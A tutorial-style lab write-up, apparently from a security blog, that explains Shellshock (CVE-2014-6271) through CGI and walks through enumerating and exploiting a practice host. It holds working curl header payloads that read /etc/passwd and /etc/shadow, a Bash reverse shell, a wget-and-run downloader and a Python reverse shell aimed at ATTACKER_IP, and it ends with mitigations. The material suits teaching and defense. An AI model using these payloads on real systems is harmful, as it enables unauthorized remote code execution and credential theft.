Keyboard shortcuts

Press ← or β†’ to navigate between chapters

Press S or / to search in the book

Press ? to show this help

Press Esc to hide this help

🏠 Back to Blog

Shellshock (CVE-2014-6271)

CGI Background

A Common Gateway Interface (CGI) is middleware between a web server and external applications. When a user submits a request, the web server invokes a CGI script, passes it the request data via environment variables and stdin, and returns the script’s stdout to the client. Scripts are stored in /cgi-bin/ and can be written in any language (C, Perl, Python, Bash, etc.).

CGI process flow:

  1. Browser sends request URL to web server
  2. Web server invokes the CGI script for that URL
  3. Script executes, outputs response to stdout
  4. Web server returns output to browser

CGI creates a new OS process per request β€” each request forks a new process, opens a new DB connection, and cannot cache state between requests. These inefficiencies have made CGI largely obsolete in modern applications. It persists primarily in legacy systems and embedded/IoT devices.


Shellshock Overview

DetailValue
CVECVE-2014-6271
DiscoveredSeptember 2014
Affected softwareGNU Bash versions up to 4.3
ImpactUnauthenticated remote code execution via CGI
Still found in the wildYes β€” IoT devices, legacy embedded systems, unmaintained servers

Shellshock exploits a flaw in how old versions of Bash handle function definitions stored in environment variables. When Bash imports an environment variable containing a function definition, vulnerable versions execute any commands that appear after the function body.

How the flaw works

Bash allows functions to be exported via environment variables:

export y='() { :; }'   # defines a function y that does nothing

On a vulnerable system, any commands appended after the closing brace are executed when Bash starts:

env y='() { :;}; echo vulnerable-shellshock' bash -c "echo not vulnerable"
  • y='() { :;};' β€” function definition (imported by child Bash)
  • echo vulnerable-shellshock β€” injected command, executed by vulnerable Bash on import
  • Output on vulnerable system: vulnerable-shellshock then not vulnerable
  • Output on patched system: not vulnerable only

On a patched system, Bash no longer executes code after a function definition, and function variables must be prefixed with BASH_FUNC_.

Why CGI enables exploitation

When a web server processes a CGI request, it passes HTTP headers to the CGI script as environment variables β€” including HTTP_USER_AGENT, HTTP_REFERER, QUERY_STRING, etc. If the CGI script is executed by Bash (or calls Bash internally), an attacker-controlled header becomes an environment variable, and the Shellshock payload executes on Bash startup.


Enumeration

Find CGI scripts with Gobuster

gobuster dir -u http://10.129.204.231/cgi-bin/ \
             -w /usr/share/wordlists/dirb/small.txt \
             -x cgi
/access.cgi  (Status: 200) [Size: 0]

Confirm the script exists

curl -i http://10.129.204.231/cgi-bin/access.cgi
HTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
Content-Length: 0
Content-Type: text/html

An empty 200 response is normal β€” the script may produce no output but is still Bash-backed.


Confirming the Vulnerability

Inject the Shellshock payload into the User-Agent header. If the system is vulnerable, the injected command (/bin/cat /etc/passwd) executes and its output is returned:

curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' \
     bash -s :'' \
     http://10.129.204.231/cgi-bin/access.cgi

Successful output returns the contents of /etc/passwd:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
...

The two echo statements before the command inject blank lines to separate the HTTP response headers from the command output.

Other injectable headers to try:

HeaderCGI environment variable
User-AgentHTTP_USER_AGENT
RefererHTTP_REFERER
CookieHTTP_COOKIE
X-Forwarded-ForHTTP_X_FORWARDED_FOR
AcceptHTTP_ACCEPT

Exploitation β€” Reverse Shell

Once confirmed, obtain a reverse shell by injecting a Bash TCP one-liner into the same header:

Start a listener:

sudo nc -lvnp 7777

Send the payload:

curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.10.14.38/7777 0>&1' \
     http://10.129.204.231/cgi-bin/access.cgi

Shell received:

connect to [10.10.14.38] from (UNKNOWN) [10.129.204.231] 52840
www-data@htb:/usr/lib/cgi-bin$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

The shell runs as www-data β€” standard for Apache CGI. Escalate privileges or pivot from here.

Alternative payloads

# Read a file
() { :; }; echo ; /bin/cat /etc/shadow

# Execute a downloaded payload
() { :; }; /bin/bash -c 'wget http://ATTACKER_IP/shell.sh -O /tmp/s.sh && bash /tmp/s.sh'

# Python reverse shell (if Bash TCP redirect is blocked)
() { :; }; python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",7777));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];subprocess.call(["/bin/bash","-i"])'

Where to look for Shellshock

Shellshock is most likely to appear:

ContextNotes
IoT / embedded devicesRouters, cameras, industrial controllers β€” rarely patched, often run old Bash
Legacy Linux serversPre-2014 Ubuntu/Debian/CentOS installs that have not received updates
End-of-life systemsSystems where the OS vendor no longer provides patches
Internal network appliancesVPN concentrators, load balancers, monitoring agents with CGI interfaces

Any web application with files in /cgi-bin/ that are executed by Bash is a candidate.


Mitigation

OptionNotes
Patch BashUpgrade to Bash 4.3 patch 25 or later β€” the definitive fix
Disable CGIIf not required, remove or disable CGI support in the web server config
WAF rulesBlock () { patterns in HTTP headers as a temporary control
Network isolationFor critical IoT/embedded devices that cannot be patched, firewall off from internet and restrict internal access
DecommissionIf the device is end-of-life and patching is impossible, evaluate taking it offline

Firewalling and WAF rules are mitigations, not fixes. The definitive remediation is patching Bash or replacing the system.